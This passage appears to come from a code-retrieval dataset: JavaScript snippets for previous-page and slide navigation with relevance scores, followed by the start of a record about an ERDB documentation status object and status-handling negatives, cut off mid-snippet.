);\n }", "function goToPreviousSlide(){\n myPresentation.goToPreviousSlide();\n displayNumberCurrentSlide();\n selectOptionInSelector(myPresentation.getCurrentSlideIndex());\n}", "prevPage () {\n const { page } = this.computedPagination\n if (page > 1) {\n this.setPagination({ page: page - 1 })\n }\n }", "function _previousStep() {\n this._direction = 'backward';\n\n if (this._currentStep === 0) {\n return false;\n }\n\n var nextStep = this._introItems[--this._currentStep];\n if (typeof (this._introBeforeChangeCallback) !== 'undefined') {\n this._introBeforeChangeCallback.call(this, nextStep.element);\n }\n\n _showElement.call(this, nextStep);\n }", "function _previousStep() {\n this._direction = 'backward';\n\n if (this._currentStep === 0) {\n return false;\n }\n\n var nextStep = this._introItems[--this._currentStep];\n if (typeof (this._introBeforeChangeCallback) !== 'undefined') {\n this._introBeforeChangeCallback.call(this, nextStep.element);\n }\n\n _showElement.call(this, nextStep);\n }", "function _previousStep() {\n this._direction = 'backward';\n\n if (this._currentStep === 0) {\n return false;\n }\n\n var nextStep = this._introItems[--this._currentStep];\n if (typeof (this._introBeforeChangeCallback) !== 'undefined') {\n this._introBeforeChangeCallback.call(this, nextStep.element);\n }\n\n _showElement.call(this, nextStep);\n }", "function _previousStep() {\n this._direction = 'backward';\n\n if (this._currentStep === 0) {\n return false;\n }\n\n var nextStep = this._introItems[--this._currentStep];\n if (typeof (this._introBeforeChangeCallback) !== 'undefined') {\n this._introBeforeChangeCallback.call(this, nextStep.element);\n }\n\n _showElement.call(this, nextStep);\n }", "function _previousStep() {\n this._direction = 'backward';\n\n if (this._currentStep === 0) {\n return false;\n }\n\n var nextStep = this._introItems[--this._currentStep];\n if (typeof (this._introBeforeChangeCallback) !== 'undefined') {\n this._introBeforeChangeCallback.call(this, nextStep.element);\n }\n\n _showElement.call(this, nextStep);\n }", "function goToPreviousPage() {\n\t\tif ( canPreviousPage() ) {\n\t\t\tgoToPage( currentPage() - 1 );\n\t\t}\n\t}", "onHeaderPreviousPress() {\n\t\tthis._currentPickerDOM._showPreviousPage();\n\t}", "goToPrevious() {\n if (this.history.getPagesCount()) {\n this.transition = this.history.getCurrentPage().transition;\n if (!_.isEmpty(this.transition)) {\n this.transition += '-exit';\n }\n this.history.pop();\n this.isPageAddedToHistory = true;\n window.history.back();\n }\n }", "function prevSection() {\n var nav = (d.getElementById('l-front').classList.contains('is-visible')) ? navigatorFront : navigatorBack,\n fromSection = d.querySelector('[data-page=\"' + nav.active() + '\"]');\n\n // Pasar a otro evento\n if (this.classList.contains('is-up')) {\n goIndex();\n return;\n }\n\n var to = nav.prev(),\n toSection = d.querySelector('[data-page=\"' + to + '\"]');\n\n var navigator = app.parent(this, 'navigator')\n optActive = navigator.getElementsByClassName('is-active')[0],\n from = optActive.getAttribute('data-ref');\n\n var index = getIndex(fromSection.parentElement.querySelectorAll('.section'), toSection);\n fromSection.parentElement.style.left = (index * -100) + 'vw';\n \n window.location.href = window.location.pathname + \"#\" + toSection.getAttribute(\"data-page\");\n }", "function _previousStep() {\n\t this._direction = 'backward';\n\n\t if (this._currentStep === 0) {\n\t return false;\n\t }\n\n\t var nextStep = this._introItems[--this._currentStep];\n\t if (typeof (this._introBeforeChangeCallback) !== 'undefined') {\n\t this._introBeforeChangeCallback.call(this, nextStep.element);\n\t }\n\n\t _showElement.call(this, nextStep);\n\t }", "prev() {\n this._followRelService(\"prev\", \"List\");\n }", "function goToPrevSlide()\n\t{\n\t\tif($currentSlide.prev().length)\n\t\t{\n\t\t\tgoToSlide($currentSlide.prev());\n\t\t}\n\t}", "function usePreviousButton() {\r\n currentPage--;\r\n if (currentPage < 1) {\r\n currentPage++\r\n }\r\n document.getElementById(\"pageNumber\").innerHTML = currentPage.toString();\r\n getUsers(currentPage)\r\n}", "function render_prev_row() {\n\n current_row = (current_row == 0) ? current_row : current_row - 1;\n render_row(current_row)\n\n}", "function goToPrevSlide()\n {\n if($currentSlide.prev().length)\n {\n goToSlide($currentSlide.prev());\n }\n }", "function theQwertyGrid_prevPage () {\n\t\t\t_theQwertyGrid_rowEnd = _theQwertyGrid_rowStart;\n\t\t\t_theQwertyGrid_rowStart = _theQwertyGrid_rowEnd - _theQwertyGrid_pageSize < 0 ?\n\t\t\t\t\t\t\t\t\t 0 : _theQwertyGrid_rowEnd - _theQwertyGrid_pageSize;\n\t\t\ttheQwertyGrid_setPageSize(_theQwertyGrid_pageSize);\n\t\t}", "_navigatePrevious() {\n this._navigate(this.previous.id, 'endpoint');\n }", "function previousPage(){\n if(current_page>1) {\n current_page-=1;\n restoreTable();\n // getpage(current_page,page_size)\n query()\n document.getElementById(\"pagespan\").innerHTML = \" صفحة \"+current_page + \" من \" +pages \n }\n}", "function _previousStep() {\n if (this._currentStep === 0) {\n return false;\n }\n\n var nextStep = this._introItems[--this._currentStep];\n if (typeof (this._introBeforeChangeCallback) !== 'undefined') {\n this._introBeforeChangeCallback.call(this, nextStep.element);\n }\n\n _showElement.call(this, nextStep);\n }", "function getPrevPage() {\n // the page can't go to -1 page\n if ((curPage - 1) > -1) {\n flipOver(curPage - 1);\n }\n }", "prevPage(state) {\n state.page--;\n }", "function getPrevButton(){\n if (!urlList[arrURL[4]][urlIndex-1]) {\n navButtonBack.className='hidden';\n return \"this is the End\";\n };\n\n var linkBack = urlList[arrURL[4]][urlIndex-1]['url'];\n fetch(linkBack)\n .then(function(response){\n if(response.ok){\n return response.json();\n } else {navButtonBack.className='hidden';};\n })\n .then(function(obj){\n navButtonBack.addEventListener('click',function(){loadData(obj.url)});\n navButtonBack.setAttribute('title',obj.name||obj.title);\n })\n .catch(function(error){\n console.log(error.message);\n });\n }", "function clickedPrev(currentPage, targetSlot) {\n //console.log(\"PREV FUNCTION ACTIVATED\");\n --currentPage;\n targetSlot.spawnMenu(currentPage);\n}", "previousButton() {\n\t\tlet currentStep = this.state.currentStep;\n\t\tif (currentStep !== 1) {\n\t\t\treturn (\n\t\t\t\t<button\n\t\t\t\t\tclassName=\"btn btn-secondary\"\n\t\t\t\t\ttype=\"button\"\n\t\t\t\t\tonClick={this._prev}\n\t\t\t\t>\n\t\t\t\t\tPrevious\n\t\t\t\t</button>\n\t\t\t);\n\t\t}\n\t\treturn null;\n\t}", "function previousPage()\r\n{\r\n\thistory.go(-1);\r\n}", "prev()\n\t{\n\t\tlet prev = this.current == 0 ? this.slides.length - 1 : this.current - 1;\n\t\treturn this.show(prev);\n\t}", "function previousPage() {\n\trequestVideoPlaylist(playlistId, prevPageToken);\n}", "function previous() {\n\n if (hasPrevious()) {\n\n currentVideo--;\n changeSource(currentVideo);\n tableUIUpdate();\n\n }\n\n }", "function goPrev( event ){\n event.preventDefault();\n go( revOffset + 1 );\n return false;\n }", "function previous() {\n if( cur <= 0 ) {\n cur = tot - 1;\n } else {\n cur--;\n }\n if(enlarged) {\n showImage(cur);\n }\n else {\n showThumb(cur, true);\n }\n return cur;\n }", "prevSlide() {\n\n if (this.currSlide > 0) {\n\n this.goTo(this.currSlide - 1, -1);\n\n } else {\n\n this.goToLastSlide();\n\n }\n\n }", "function previousButton() {\n let currentStep = state.currentStep;\n if ( currentStep !== 1 ) {\n return (\n <button\n className=\"btn btn-secondary\"\n type=\"button\" onClick={ _prev }>\n Previous\n </button>\n )\n }\n return null;\n }", "prevStep() {\n\n if (this.currStep > -1) {\n\n this.goTo(this.currSlide, this.currStep - 1);\n\n }\n\n }", "prevPage() {\n\n if (pageCurrent == 1) return;\n\n const pageCurrent = this.state.pageCurrent - 1\n\n this.getContacts(pageCurrent)\n }", "function previousPage () {\n var i, tab;\n for (i = 0; i < elements.tabs.length; i++) {\n tab = elements.tabs[ i ];\n if (tab.offsetLeft + tab.offsetWidth >= ctrl.offsetLeft) break;\n }\n ctrl.offsetLeft = fixOffset(tab.offsetLeft + tab.offsetWidth - elements.canvas.clientWidth);\n }", "function previousPage () {\n var i, tab;\n for (i = 0; i < elements.tabs.length; i++) {\n tab = elements.tabs[ i ];\n if (tab.offsetLeft + tab.offsetWidth >= ctrl.offsetLeft) break;\n }\n ctrl.offsetLeft = fixOffset(tab.offsetLeft + tab.offsetWidth - elements.canvas.clientWidth);\n }", "function gotoPrevPage(){\n\tvar current_pagenum = getCurrentPagenum();\n\t\n\tif(checkPrevPages(current_pagenum) === true){\n\t\tvar isStartOfPagegroup = checkIsStartOfPagegroup(current_pagenum);\n\t\tvar prev_pagenum = current_pagenum - 1;\n\t\t\n\t\tif(isStartOfPagegroup === true){\n\t\t\tdecrementPagegroup();\n\t\t}\n\t\t\n\t\tgotoTargetPage(prev_pagenum);\n\t\t\n\t\t$('div#conceptcode_pagination_holder > ul.pagination').trigger(\"gotoPrevPageComplete.c2s_ui.pagination\", {oldPagenum: current_pagenum});\n\t}\n}", "function prevRecord() {\n if (currentRecord >= 0) { // if the record index number is valid\n currentRecord--; // decrement currentRecord\n getRecord(currentRecord); // get the current record from the DB\n }\n}", "function ie03PreviousItem(){ \r\n\tz_ie03_item_endrow = z_ie03_item_endrow - z_ie03_rowsperpage;\r\n\tz_ie03_item_startrow = z_ie03_item_startrow - z_ie03_rowsperpage;\r\n\tz_ie03_pageno_itembox--;\r\n\t\r\n\tif(z_ie03_item_startrow < 1){\r\n\t\tz_ie03_item_startrow = 1;\r\n\t}\r\n\tif(z_ie03_item_endrow < z_ie03_rowsperpage){\r\n\t\tz_ie03_item_endrow = z_ie03_rowsperpage;\r\n\t}\r\n}", "function goToPrevStep(){\n unhighlightArrow(currStepId, numberToString[currStepId]);\n currStepId-=1;\n replaceStep();\n highlightArrow(currStepId, numberToString[currStepId]); \n}", "prev() {\n\n if (this.currStep > -1) {\n\n this.prevStep();\n\n } else {\n\n this.prevSlide();\n\n }\n\n }", "function prevPage(){\n\t\tvar $currPage = $pages.eq( current );\n\n\t\tif( current > 0 ) {\n\t\t\t--current;\n\t\t}\n\t\telse {\n\t\t\tcurrent = pagesCount-1;\n\t\t}\n\n\t\tanimatePage($currPage, 'pt-page-rotatePushTop');\n\t}", "function ie03PreviousOrder(){ \r\n\tz_ie03_order_endrow = z_ie03_order_endrow - z_ie03_rowsperpage;\r\n\tz_ie03_order_startrow = z_ie03_order_startrow - z_ie03_rowsperpage;\r\n\tz_ie03_order_pageno--;\r\n\t\r\n\tif(z_ie03_order_startrow < 1){\r\n\t\tz_ie03_order_startrow = 1;\r\n\t}\r\n\tif(z_ie03_order_endrow < z_ie03_rowsperpage){\r\n\t\tz_ie03_order_endrow = z_ie03_rowsperpage;\r\n\t}\r\n}", "function handlePrev() {\n if (self.slideNumber !== null) {\n const prevSlide = self.slideNumber - 1;\n if (prevSlide !== -1) Aplouder.currentSlide(self.id, prevSlide);\n else Aplouder.currentSlide(self.id, Object.keys(self.Filez).length - 1);\n }\n }", "function prev() {\n slide(false, false);\n }", "function prevPage(){\n\t\t\tif(article == 0 && pageNumber == 1)\n\t\t\t{\n\t\t\t\t\n\t\t\t}else if(article == 0){\n\t\t\t\t$(\".page-\"+pageNumber+\"#article_\"+article).hide();\n\t\t\t\tpageNumber--;\n\t\t\t\t$(\".page-\"+pageNumber+\"#article_\"+article).stop(true, true).fadeIn(300);\n\t\t\t\tupdateAfterNav();\n\t\t\t}else if(article > 0 && pageNumber == 1){\n\t\t\t\t$(\".page-\"+pageNumber+\"#article_\"+article).hide();\n\t\t\t\tarticle--;\n\t\t\t\tupdateMenu();\n\t\t\t\t$(\".page.last#article_\"+article).stop(true, true).fadeIn(500);\n\t\t\t\tpageNumber = $(\".page.last#article_\"+article).attr(\"data-pagenumber\");\n\t\t\t\tupdateAfterNav();\n\t\t\t}else if(article > 0){\n\t\t\t\t$(\".page-\"+pageNumber+\"#article_\"+article).hide();\n\t\t\t\tpageNumber--;\n\t\t\t\t$(\".page-\"+pageNumber+\"#article_\"+article).stop(true, true).fadeIn(300);\n\t\t\t\tupdateAfterNav();\n\t\t\t}\n\t\t}", "function getPrev(){\n page--\n getSearch()\n}", "previous() {\n this._previous();\n }", "prevPageClik() {\n this.currentPageNumber--;\n this.currentPageNumber < 0 ? this.currentPageNumber = (this.totalPageCount - 1) : '';\n this.props.changePage(this.currentPageNumber);\n }", "back() {\n this.page = 0;\n }", "function displayPreviousSlide(){\r\n if(helperSlides.data.length>0){\r\n let currentIndex = helperSlides.data.map(function (e) {\r\n return e.slideid;\r\n }).indexOf(selectedSlide.slideid);\r\n let newIndex = null;\r\n if (currentIndex > 0) {\r\n newIndex = currentIndex - 1;\r\n } else if(currentIndex == 0){\r\n newIndex = 0;\r\n }\r\n selectedSlide.slideid = helperSlides.data[newIndex].slideid;\r\n selectedSlide.data = helperSlides.data[newIndex].data;\r\n displaySlide(); \r\n }\r\n}", "getPreviousPage(currentPageNum){\n return this.previousPage ? Number(currentPageNum) - 1 : 0;\n }" ]
[ "0.74526954", "0.7256744", "0.7219556", "0.7212749", "0.7208566", "0.7132211", "0.7110613", "0.7045407", "0.7030852", "0.702133", "0.700717", "0.69503945", "0.69459087", "0.6886775", "0.6879685", "0.68744975", "0.6857133", "0.68368506", "0.6779016", "0.6763764", "0.67500705", "0.67405677", "0.6738817", "0.6677442", "0.667074", "0.666985", "0.66356146", "0.6633697", "0.6621812", "0.6620623", "0.66160583", "0.6607421", "0.6607398", "0.6598215", "0.65894413", "0.65853727", "0.6581174", "0.6564354", "0.6562676", "0.6560002", "0.655195", "0.6541699", "0.6522308", "0.6521648", "0.6515559", "0.6514228", "0.6489327", "0.6486894", "0.6480162", "0.6474999", "0.6474999", "0.6474999", "0.6474999", "0.6474999", "0.64433366", "0.64399177", "0.6422782", "0.64218515", "0.6412776", "0.6394858", "0.63911605", "0.63894373", "0.6388656", "0.63873", "0.6378675", "0.6376557", "0.6372269", "0.6340695", "0.63364995", "0.6329723", "0.63286895", "0.6317245", "0.6308736", "0.63059217", "0.6302677", "0.63016015", "0.6297741", "0.62931436", "0.6286254", "0.62800944", "0.62675565", "0.6262948", "0.626", "0.6255561", "0.6255561", "0.6237755", "0.62269086", "0.6223406", "0.6213035", "0.61986864", "0.61981696", "0.6197628", "0.6197531", "0.6197481", "0.6189775", "0.6179559", "0.61773133", "0.61737883", "0.6166117", "0.6160978", "0.6159172" ]
0.0
-1
DOCUMENTATION STATUS OBJECT Create an ERDB documentation page status object.
function ErdbStatusThing(selectBoxID, blockList) { // Save the list of block IDs. this.blockList = blockList.split(" "); // Save the select box ID. this.selectBox = selectBoxID; // Start with an empty history list. this.blockHistory = new Array(); // Denote there's no current page. this.blockNow = ""; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function DocumentPretranslatingStatus() {\n _classCallCheck(this, DocumentPretranslatingStatus);\n\n DocumentPretranslatingStatus.initialize(this);\n }", "function getStatus() {\n return status;\n }", "function DocumentWithoutSegmentsStatus() {\n _classCallCheck(this, DocumentWithoutSegmentsStatus);\n\n DocumentWithoutSegmentsStatus.initialize(this);\n }", "constructor() { \n \n StatusDocument.initialize(this);\n }", "function getStatus() {\n // TODO: perhaps remove this if no other status added\n return status;\n }", "function ResourceStatus() {\n _classCallCheck(this, ResourceStatus);\n\n ResourceStatus.initialize(this);\n }", "function ProjectStatus() {\n _classCallCheck(this, ProjectStatus);\n\n ProjectStatus.initialize(this);\n }", "static get STATUS() {\n return 0;\n }", "getstatus() {\n return { message: this._message, errors_exists: this._errors_exists };\n }", "get status() {\n\t\treturn this._status;\n\t}", "get status () {\n\t\treturn this._status;\n\t}", "get status () {\n\t\treturn this._status;\n\t}", "get status () {\n\t\treturn this._status;\n\t}", "get status () {\n\t\treturn this._status;\n\t}", "get status () {\n\t\treturn this._status;\n\t}", "get status () {\n\t\treturn this._status;\n\t}", "get status () {\n\t\treturn this._status;\n\t}", "get status () {\n\t\treturn this._status;\n\t}", "get status () {\n\t\treturn this._status;\n\t}", "async saveStatus(status) {\n const db = FirebaseLib.FIRESTORE_DB;\n try {\n const ref = db.collection(config.DBPaths.HISTORY).doc();\n const now = firebase.firestore.Timestamp.now();\n await ref.set({value: status, startedAt: now});\n this._checkNext(status);\n } catch (err) {\n console.error(\"Unable to save the status in the DB\", err);\n // TODO: saveStatus --> Error\n }\n }", "get leaseStatus() {\n return this.originalResponse.leaseStatus;\n }", "get leaseStatus() {\n return this.originalResponse.leaseStatus;\n }", "get leaseStatus() {\n return this.originalResponse.leaseStatus;\n }", "get leaseStatus() {\n return this.originalResponse.leaseStatus;\n }", "function ApiStatus() {\n this.message = {\n 'status': {}\n };\n}", "get status() {\n\t\treturn this.__status;\n\t}", "get status() {\n\t\treturn this.__status;\n\t}", "get status() {\n\t\treturn this.__status;\n\t}", "get status() {\n\t\treturn this.__status;\n\t}", "get status() {\n\t\treturn this.__status;\n\t}", "get status() {\n\t\treturn this.__status;\n\t}", "get status() {\n\t\treturn this.__status;\n\t}", "get status() {\n\t\treturn this.__status;\n\t}", "get status() {\n\t\treturn this.__status;\n\t}", "get status() {\n\t\treturn this.__status;\n\t}", "get status() {\n\t\treturn this.__status;\n\t}", "get status() {\n\t\treturn this.__status;\n\t}", "function STATUS(status) {\r\n try {\r\n var self = this;\r\n\r\n self.id = ko.observable( status ? (status.id || 0 ) : 0);\r\n self.tabelaEnumValue = ko.observable( status ? (status.tabela || 0) : 0);\r\n \tself.parentId = ko.observable( status ? (status.parentId || 0) : 0);\r\n \tself.typeValue = ko.observable( status ? (status.type || 0) : 0);\r\n \tself.status = ko.observable( status ? (status.status || \"\") : \"\");\r\n self.statusTypeEnumValue = ko.observable( status ? (status.statusType || \"\") : \"\");\r\n \tself.createUser = ko.observable( status ? (status.create_user || \"\") : \"\");\r\n \tself.createDateUTC = ko.observable( status ? (status.create_date || 0) : 0);\r\n \tself.modifyUser = ko.observable( status ? (status.modify_user || \"\") : \"\");\r\n \tself.modifyDateUTC = ko.observable( status ? (status.modify_date || \"\") : \"\");\r\n\r\n } catch (e) {\r\n \tconsole.log(e)\r\n }\r\n }", "function changeStatus(docid)\r\n{\r\n\tvar status=\"In Progress\";\r\n\tvar clientContext = new SP.ClientContext();\r\n var oList = clientContext.get_web().get_lists().getByTitle(DocumentlistName);\r\n this.oListItem = oList.getItemById(docid);\t\r\n\toListItem.set_item('Status', status);\r\n\t//oListItem.set_item('InternalStatus', status);\r\n\toListItem.set_item('InternalstatusNew', \"True\");\t\r\n oListItem.update();\r\n clientContext.executeQueryAsync(Function.createDelegate(this, this.UpdateStatusQuerySucceeded), Function.createDelegate(this, this.UpdateStatusQueryFailed));\r\n}", "function statusPage (req, res) {\n withManifestAndInfo(req, res, function (manifest, info) {\n console.log(info)\n _renderWithCommonData(res, \"status\", {\n user: req.params.user,\n repo: req.params.repo,\n manifest: manifest,\n info: info\n })\n })\n}", "_createReadStatus() {\n const status = document.createElement('span');\n return status;\n }", "function Status (title, image) {\n this.title = title;\n this.image = image;\n }", "function Status (title, image) {\n this.title = title;\n this.image = image;\n }", "setStatus(_status) {\n return this;\n }", "function _saveHeader() {\n\t\tvar lvStatus;\n\t\ttry {\n\t\t\t//Get the Database connection\n\t\t\tvar oConnection = $.db.getConnection();\n\n\t\t\t//Build the Statement to insert the entries for Batch Table\n\t\t\tvar oStatement = oConnection.prepareStatement('INSERT INTO \"' + gvFieldsSchema + '\".\"' + gvOutHeader +\n\t\t\t\t'\" VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)');\n\n\t\t\t//Populate the fields with values from the incoming payload\n\t\t\t//Message GUID\n\t\t\toStatement.setString(1, gvGuid);\n\t\t\t//Ref Doc No\n\t\t\toStatement.setString(2, gvHeader.REF_DOC_NO);\n\t\t\t//Doc Date\n\t\t\toStatement.setDate(3, gvHeader.DOC_DATE);\n\t\t\t//Headertext\n\t\t\toStatement.setString(4, gvHeader.HEADERTEXT);\n\t\t\t//Company Code\n\t\t\toStatement.setString(5, gvHeader.COMP_CODE);\n\t\t\t//Posting Date\n\t\t\toStatement.setString(6, gvHeader.PSTNG_DATE);\n\t\t\t//Translation Date\n\t\t\toStatement.setDate(7, gvHeader.TRANS_DATE);\n\t\t\t//Fiscal Year\n\t\t\toStatement.setString(8, gvHeader.FISC_YEAR);\n\t\t\t//Fiscal Period\n\t\t\toStatement.setString(9, gvHeader.FIS_PERIOD);\n\t\t\t//Document Type\n\t\t\toStatement.setString(10, gvHeader.DOC_TYPE);\n\t\t\t//Reason Reversal\n\t\t\toStatement.setString(11, gvHeader.REASON_REV);\n\t\t\t//Reference Document Long\n\t\t\toStatement.setString(12, gvHeader.REF_DOC_NO_LONG);\n\t\t\t//Accounting Principle\n\t\t\toStatement.setString(13, gvHeader.ACC_PRINCIPLE);\n\t\t\t//Billing Category\n\t\t\toStatement.setString(14, gvHeader.BILL_CATEGORY);\n\t\t\t//Partial Reversal\n\t\t\toStatement.setString(15, gvHeader.PARTIAL_REV);\n\t\t\t//Document Status\n\t\t\toStatement.setString(16, gvHeader.DOC_STATUS);\n\n\t\t\t//Add Batch process to executed on the database\n\t\t\toStatement.addBatch();\n\n\t\t\t//Execute the Insert\n\t\t\toStatement.executeBatch();\n\n\t\t\t//Close the connection\n\t\t\toStatement.close();\n\t\t\toConnection.commit();\n\t\t\toConnection.close();\n\n\t\t\tgvTableUpdate += \"Table entries created successfully in table:\" + gvOutHeader + \";\";\n\t\t\tlvStatus = \"SUCCESS\";\n\t\t} catch (errorObj) {\n\t\t\tif (oStatement !== null) {\n\t\t\t\toStatement.close();\n\t\t\t}\n\t\t\tif (oConnection !== null) {\n\t\t\t\toConnection.close();\n\t\t\t}\n\t\t\tgvTableUpdate += \"There was a problem inserting entries into the table:\" + gvOutHeader + \", Error: \" + errorObj.message;\n\t\t\tlvStatus = \"ERROR\";\n\t\t}\n\t\treturn lvStatus;\n\t}", "status() {\n if (this.statusListeners) {\n this.statusListeners.depend();\n }\n\n return this.currentStatus;\n }", "function StatusObject(name,description, typestr,isarray,arrayIndex)\n{\n this.name = name;\n this.description = description;\n this.valtype = typestr;\n this.isarray = isarray;\n this.arrayIndex = arrayIndex;\n this.outputCell = null;\n if (this.isarray)\n this.arrayIndex = arrayIndex;\n else \n this.arrayIndex = 0;\n\n this.decorated_name = function() \n { \n if (this.isarray) \n return (this.name + \"[\" + this.arrayIndex.toString() + \"]\");\n else \n return(this.name); \n };\n}", "getStatus () {\r\n const timeElapsed = this._getTime()\r\n\r\n return new Status(this._dna[this._getSegIndex(timeElapsed)].pace, \"good\", this._getDistance(timeElapsed), timeElapsed)\r\n }", "function DocumentBaseComponent(){\r\n this.m_resultStatusCodes = null;\r\n //meanings is used to allow loading of the status codes\r\n //when needed aka 'lazy loading'. Hence why the retrieval of\r\n //meanings is not exposed to the consumer. Only retrieval of codes\r\n //is available.\r\n this.m_resultStatusMeanings = null;\r\n this.m_includeHover = true;\r\n \r\n this.setIncludeLineNumber(true);\r\n \r\n DocumentBaseComponent.method(\"InsertData\", function(){\r\n CERN_DOCUMENT_BASE_O1.GetDocumentsTable(this);\r\n });\r\n DocumentBaseComponent.method(\"setResultStatusCodes\", function(value){\r\n this.m_resultStatusCodes = value;\r\n });\r\n DocumentBaseComponent.method(\"addResultStatusCode\", function(value){\r\n if (this.m_resultStatusCodes == null) \r\n this.m_resultStatusCodes = new Array();\r\n this.m_resultStatusCodes.push(value);\r\n });\r\n DocumentBaseComponent.method(\"getResultStatusCodes\", function(){\r\n if (this.m_resultStatusCodes != null) \r\n return this.m_resultStatusCodes;\r\n else if (this.m_resultStatusMeanings != null) {\r\n //load up codes from meanings\r\n var resStatusCodeSet = MP_Util.GetCodeSet(8, false);\r\n\t\t\tif (this.m_resultStatusMeanings && this.m_resultStatusMeanings.length > 0) {\r\n\t\t\t\tfor (var x = this.m_resultStatusMeanings.length; x--;) {\r\n\t\t\t\t\tvar code = MP_Util.GetCodeByMeaning(resStatusCodeSet, this.m_resultStatusMeanings[x]);\r\n\t\t\t\t\tif (code != null) \r\n\t\t\t\t\t\tthis.addResultStatusCode(code.codeValue);\r\n\t\t\t\t}\r\n\t\t\t}\r\n }\r\n return this.m_resultStatusCodes;\r\n });\r\n DocumentBaseComponent.method(\"addResultStatusMeaning\", function(value){\r\n if (this.m_resultStatusMeanings == null) \r\n this.m_resultStatusMeanings = new Array();\r\n this.m_resultStatusMeanings.push(value);\r\n });\r\n DocumentBaseComponent.method(\"setResultStatusMeanings\", function(value){\r\n this.m_resultStatusMeanings = value;\r\n });\r\n DocumentBaseComponent.method(\"isHoverEnabled\", function(){\r\n return this.m_includeHover;\r\n })\r\n DocumentBaseComponent.method(\"setHoverEnabled\", function(value){\r\n this.m_includeHover = value;\r\n })\r\n DocumentBaseComponent.method(\"HandleSuccess\", function(recordData){\r\n CERN_DOCUMENT_BASE_O1.RenderComponent(this, recordData);\r\n });\r\n}", "function CurrentStatus() {\n this.speaking = false;\n this.question = {\n id: undefined,\n spoken: false,\n };\n this.feedback = {\n id: undefined,\n spoken: false,\n };\n this.story = {\n id: undefined,\n spoken: false,\n };\n this.media = {\n url: undefined,\n type: undefined,\n shown: false,\n };\n this.congrats = {\n id: undefined,\n spoken: false,\n };\n this.about = false;\n}", "static Status () {\n return {\n \"Status-Code\": 200,\n \"Content-Type\": \"application/json\"\n }\n }", "function statusUpdate() {\n\t\tvar webAPI3 = new globals.xml.gameStatus(gameID);\n\t}", "static get status() {\n return {\n success: 200,\n badRequest: 400,\n unauthorized: 401,\n notFound: 404,\n conflict: 409,\n serverError: 500\n }\n }", "function getStatus() {\n\tapi({ data: \"cmd=getstatus\" },syncStatus);\n}", "getStatus() {\n\t\treturn this.status;\n\t}", "generateStatus () {\n return this._removeExistingStatus()\n .then(() => {\n return promise.all([\n this._findTotalNumberOfPages(),\n this._findTotalNumberOfRecipes()\n ]).spread(this._writeStatusToJSONFile);\n });\n }", "function Status(req, res) {\n\t\tres.json({\n\t\t\tstatus: true\n\t\t});\n}", "function SET_EDIT_STATUS(state, editstatus) {\n state.editstat = editstatus;\n console.log(state.editstat);\n\n // console.log(headerTitle , state.headerName ,state , 'SET_PAGE_TITLE Mutation')\n}", "function checkPageStatus(device_ID, queue_ID, processID, loadingProcessID, downloadType) {\n\n\n\t// If being force reinternalizing, update the URL\n\tremoveQueryArgFromCurrentUrl('redownload');\n\tremoveQueryArgFromCurrentUrl('ssr');\n\tremoveQueryArgFromCurrentUrl('capture');\n\tremoveQueryArgFromCurrentUrl('new');\n\tremoveQueryArgFromCurrentUrl('secondtry');\n\n\n\t// Get the up-to-date pins\n\tvar statusCheckRequest = ajax('internalize-status',\n\t\t{\n\t\t\t'device_ID': device_ID,\n\t\t\t'queue_ID': queue_ID,\n\t\t\t'processID': processID,\n\t\t\t'page_type': downloadType\n\n\t\t}).done(function (result) {\n\n\n\t\t\tvar data = result.data; console.log('RESULTS: ', result);\n\n\n\t\t\t// LOG\n\t\t\t$.each(data, function (key, value) {\n\n\t\t\t\t// Append the log !!!\n\t\t\t\tconsole.log(key + ': ', value);\n\n\t\t\t});\n\n\n\t\t\t// Update the proggress bar\n\t\t\tvar width = data.processPercentage;\n\t\t\teditProcess(loadingProcessID, width);\n\n\n\t\t\t// Finish the process if done\n\t\t\tif (width == 100)\n\t\t\t\tendProcess(loadingProcessID);\n\n\n\t\t\t// Print the current status\n\t\t\t$('#loading-info').text(Math.round(width) + '% ' + data.processDescription + '...');\n\n\n\t\t\t// Print the error message when stops before completion\n\t\t\tif (data.status == \"not-running\" && data.processStatus != \"ready\" && downloadType != \"capture\") {\n\t\t\t\t$('#loading-info').text('Error');\n\t\t\t\teditProcess(loadingProcessID, 0);\n\t\t\t}\n\n\n\t\t\t// If successfully downloaded\n\t\t\tif (\n\t\t\t\t(width == 100 && data.processStatus == \"ready\") ||\n\t\t\t\t(downloadType == \"capture\" && data.status == \"not-running\")\n\t\t\t) {\n\n\t\t\t\t// Update the global page URL\n\t\t\t\tpage_URL = data.phaseUrl;\n\t\t\t\tconsole.log('PAGE URL: ', page_URL);\n\n\n\t\t\t\t// Redirects\n\t\t\t\tif (\n\t\t\t\t\t(page_URL.startsWith(\"http://\") && currentUrl().startsWith(\"https://\")) ||\n\t\t\t\t\t(page_URL.startsWith(\"https://\") && currentUrl().startsWith(\"http://\"))\n\t\t\t\t) location.reload();\n\n\n\t\t\t\t// Update the iframe url\n\t\t\t\t$('#the-page').attr('src', page_URL);\n\n\n\t\t\t\t// Run the inspector\n\t\t\t\trunTheInspector();\n\n\n\t\t\t\t// Capture mode\n\t\t\t\tif (downloadType == \"capture\") endProcess(loadingProcessID);\n\n\t\t\t}\n\n\n\t\t\t// Restart if not done\n\t\t\tif (data.status != \"not-running\" && data.processStatus != \"ready\") {\n\n\t\t\t\tsetTimeout(function () {\n\n\t\t\t\t\tcheckPageStatus(device_ID, queue_ID, processID, loadingProcessID, downloadType);\n\n\t\t\t\t}, 1000);\n\n\t\t\t}\n\n\n\t\t}).fail(function () {\n\n\n\t\t\t// Abort the latest request if not finalized\n\t\t\tif (statusCheckRequest && statusCheckRequest.readyState != 4) {\n\t\t\t\tconsole.log('Latest status check request aborted');\n\t\t\t\tstatusCheckRequest.abort();\n\t\t\t}\n\n\t\t\tsetTimeout(function () {\n\n\t\t\t\tcheckPageStatus(device_ID, queue_ID, processID, loadingProcessID, downloadType);\n\n\t\t\t}, 1000);\n\n\n\t\t});\n\n\n}", "status() {\n return __awaiter(this, void 0, void 0, function* () {\n return {\n status: 'OK',\n };\n });\n }", "status() {\r\n return this.request('GET', 'status/config');\r\n }", "async status() {\n\n await this._init()\n\n if (!this.isOpenCollabRepo)\n throw 'Not an OpenCollab repository'\n\n const mangoRepoLib = initLib(this._opts.web3Host, this._opts.web3Port, this._contractAddress, this._account) \n\n const [name, description, issueCount, references, snapshots] = await Promise.all([ \n mangoRepoLib.mangoRepo.getName(),\n 